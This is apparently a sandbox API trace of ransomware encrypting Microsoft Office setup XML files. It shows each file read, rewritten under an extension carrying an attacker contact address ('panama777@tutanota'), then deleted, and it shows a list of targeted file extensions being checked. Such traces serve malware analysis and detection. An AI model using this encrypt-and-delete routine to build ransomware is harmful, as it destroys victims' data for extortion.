	[0046.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.186] GetLastError () returned 0x0
	[0046.186] ReadFile (in: hFile=0x1bc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x543, lpOverlapped=0x0) returned 1
	[0046.188] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x550, lpOverlapped=0x0) returned 1
	[0046.188] ReadFile (in: hFile=0x1bc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.188] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.189] SetEndOfFile (hFile=0x1f8) returned 1
	[0046.189] CloseHandle (hObject=0x1f8) returned 1
	[0046.189] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.189] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.190] CloseHandle (hObject=0x1bc) returned 1
	[0046.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.190] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1
	[0046.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0046.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0046.498] lstrlenW (lpString=".doc") returned 4
	[0046.498] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.498] lstrlenW (lpString=".docx") returned 5
	[0046.498] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1
	[0046.498] lstrlenW (lpString=".pdf") returned 4
	[0046.498] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.498] lstrlenW (lpString=".xls") returned 4
	[0046.498] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.498] lstrlenW (lpString=".xlsx") returned 5
	[0046.498] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1
	[0046.498] lstrlenW (lpString=".ppt") returned 4
	[0046.498] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0046.498] lstrlenW (lpString=".zip") returned 4
	[0046.499] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.499] lstrlenW (lpString=".rar") returned 4
	[0046.499] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.499] lstrlenW (lpString=".bz2") returned 4
	[0046.499] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.499] lstrlenW (lpString=".7z") returned 3
	[0046.499] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0046.499] lstrlenW (lpString=".dbf") returned 4
	[0046.499] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0046.499] lstrlenW (lpString=".1cd") returned 4
	[0046.499] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0046.499] lstrlenW (lpString=".jpg") returned 4
	[0046.499] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0046.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0046.499] lstrlenW (lpString=".doc") returned 4
	[0046.499] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.499] lstrlenW (lpString=".docx") returned 5
	[0046.499] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1
	[0046.499] lstrlenW (lpString=".pdf") returned 4
	[0046.499] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.499] lstrlenW (lpString=".xls") returned 4
	[0046.499] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.499] lstrlenW (lpString=".xlsx") returned 5
	[0046.499] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1
	[0046.499] lstrlenW (lpString=".ppt") returned 4
	[0046.499] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0046.500] lstrlenW (lpString=".zip") returned 4
	[0046.500] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.500] lstrlenW (lpString=".rar") returned 4
	[0046.500] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.500] lstrlenW (lpString=".bz2") returned 4
	[0046.500] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.500] lstrlenW (lpString=".7z") returned 3
	[0046.500] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0046.500] lstrlenW (lpString=".dbf") returned 4
	[0046.500] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0046.500] lstrlenW (lpString=".1cd") returned 4
	[0046.500] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98
	[0046.500] lstrlenW (lpString=".jpg") returned 4
	[0046.500] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.500] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.500] lstrlenW (lpString="SETUP.XML") returned 9
	[0046.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.877] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1608) returned 1
	[0046.877] CloseHandle (hObject=0x1bc) returned 1
	[0046.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20
	[0046.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.877] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.877] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.878] GetLastError () returned 0x0
	[0046.878] ReadFile (in: hFile=0x1bc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x648, lpOverlapped=0x0) returned 1
	[0046.902] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x650, lpOverlapped=0x0) returned 1
	[0046.903] ReadFile (in: hFile=0x1bc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.903] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.903] SetEndOfFile (hFile=0x1f8) returned 1
	[0046.903] CloseHandle (hObject=0x1f8) returned 1
	[0046.904] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.904] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.904] CloseHandle (hObject=0x1bc) returned 1
	[0046.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.905] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1
	[0046.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0046.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0046.905] lstrlenW (lpString=".doc") returned 4
	[0046.905] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.905] lstrlenW (lpString=".docx") returned 5
	[0046.905] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.905] lstrlenW (lpString=".pdf") returned 4
	[0046.905] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.905] lstrlenW (lpString=".xls") returned 4
	[0046.905] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.905] lstrlenW (lpString=".xlsx") returned 5
	[0046.905] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.905] lstrlenW (lpString=".ppt") returned 4
	[0046.905] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0046.905] lstrlenW (lpString=".zip") returned 4
	[0046.906] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.906] lstrlenW (lpString=".rar") returned 4
	[0046.906] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.906] lstrlenW (lpString=".bz2") returned 4
	[0046.906] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.906] lstrlenW (lpString=".7z") returned 3
	[0046.906] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0046.906] lstrlenW (lpString=".dbf") returned 4
	[0046.906] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0046.906] lstrlenW (lpString=".1cd") returned 4
	[0046.906] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0046.906] lstrlenW (lpString=".jpg") returned 4
	[0046.906] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0046.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0046.906] lstrlenW (lpString=".doc") returned 4
	[0046.906] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.906] lstrlenW (lpString=".docx") returned 5
	[0046.906] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.906] lstrlenW (lpString=".pdf") returned 4
	[0046.906] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.906] lstrlenW (lpString=".xls") returned 4
	[0046.906] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.906] lstrlenW (lpString=".xlsx") returned 5
	[0046.906] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.907] lstrlenW (lpString=".ppt") returned 4
	[0046.907] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0046.907] lstrlenW (lpString=".zip") returned 4
	[0046.907] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.907] lstrlenW (lpString=".rar") returned 4
	[0046.907] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.907] lstrlenW (lpString=".bz2") returned 4
	[0046.907] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.907] lstrlenW (lpString=".7z") returned 3
	[0046.907] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0046.907] lstrlenW (lpString=".dbf") returned 4
	[0046.907] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0046.907] lstrlenW (lpString=".1cd") returned 4
	[0046.907] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0046.907] lstrlenW (lpString=".jpg") returned 4
	[0046.907] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.907] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.907] lstrlenW (lpString="SETUP.XML") returned 9
	[0046.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.945] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=20577) returned 1
	[0046.945] CloseHandle (hObject=0x1f8) returned 1
	[0046.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20
	[0046.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.945] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.945] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0046.946] GetLastError () returned 0x0
	[0046.946] ReadFile (in: hFile=0x1f8, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x5061, lpOverlapped=0x0) returned 1
	[0046.986] WriteFile (in: hFile=0x1a4, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x5070, lpOverlapped=0x0) returned 1
	[0046.987] ReadFile (in: hFile=0x1f8, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.987] WriteFile (in: hFile=0x1a4, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.988] SetEndOfFile (hFile=0x1a4) returned 1
	[0046.988] CloseHandle (hObject=0x1a4) returned 1
	[0046.988] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.988] SetEndOfFile (hFile=0x1f8) returned 1
	[0046.989] CloseHandle (hObject=0x1f8) returned 1
	[0046.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.989] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1
	[0046.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0046.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0046.990] lstrlenW (lpString=".doc") returned 4
	[0046.990] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.990] lstrlenW (lpString=".docx") returned 5
	[0046.990] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.990] lstrlenW (lpString=".pdf") returned 4
	[0046.990] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.990] lstrlenW (lpString=".xls") returned 4
	[0046.990] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.990] lstrlenW (lpString=".xlsx") returned 5
	[0046.990] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.990] lstrlenW (lpString=".ppt") returned 4
	[0046.990] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0046.990] lstrlenW (lpString=".zip") returned 4
	[0046.990] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.990] lstrlenW (lpString=".rar") returned 4
	[0046.990] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.990] lstrlenW (lpString=".bz2") returned 4
	[0046.990] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.990] lstrlenW (lpString=".7z") returned 3
	[0046.990] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0046.990] lstrlenW (lpString=".dbf") returned 4
	[0046.990] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0046.990] lstrlenW (lpString=".1cd") returned 4
	[0046.990] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0046.990] lstrlenW (lpString=".jpg") returned 4
	[0046.990] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0046.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0046.991] lstrlenW (lpString=".doc") returned 4
	[0046.991] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.991] lstrlenW (lpString=".docx") returned 5
	[0046.991] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.991] lstrlenW (lpString=".pdf") returned 4
	[0046.991] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.991] lstrlenW (lpString=".xls") returned 4
	[0046.991] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.991] lstrlenW (lpString=".xlsx") returned 5
	[0046.991] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.991] lstrlenW (lpString=".ppt") returned 4
	[0046.991] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0046.991] lstrlenW (lpString=".zip") returned 4
	[0046.991] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.991] lstrlenW (lpString=".rar") returned 4
	[0046.991] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.991] lstrlenW (lpString=".bz2") returned 4
	[0046.991] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.991] lstrlenW (lpString=".7z") returned 3
	[0046.991] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0046.991] lstrlenW (lpString=".dbf") returned 4
	[0046.991] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0046.991] lstrlenW (lpString=".1cd") returned 4
	[0046.991] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0046.991] lstrlenW (lpString=".jpg") returned 4
	[0046.992] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.992] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.992] lstrlenW (lpString="WordMUI.XML") returned 11
	[0046.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
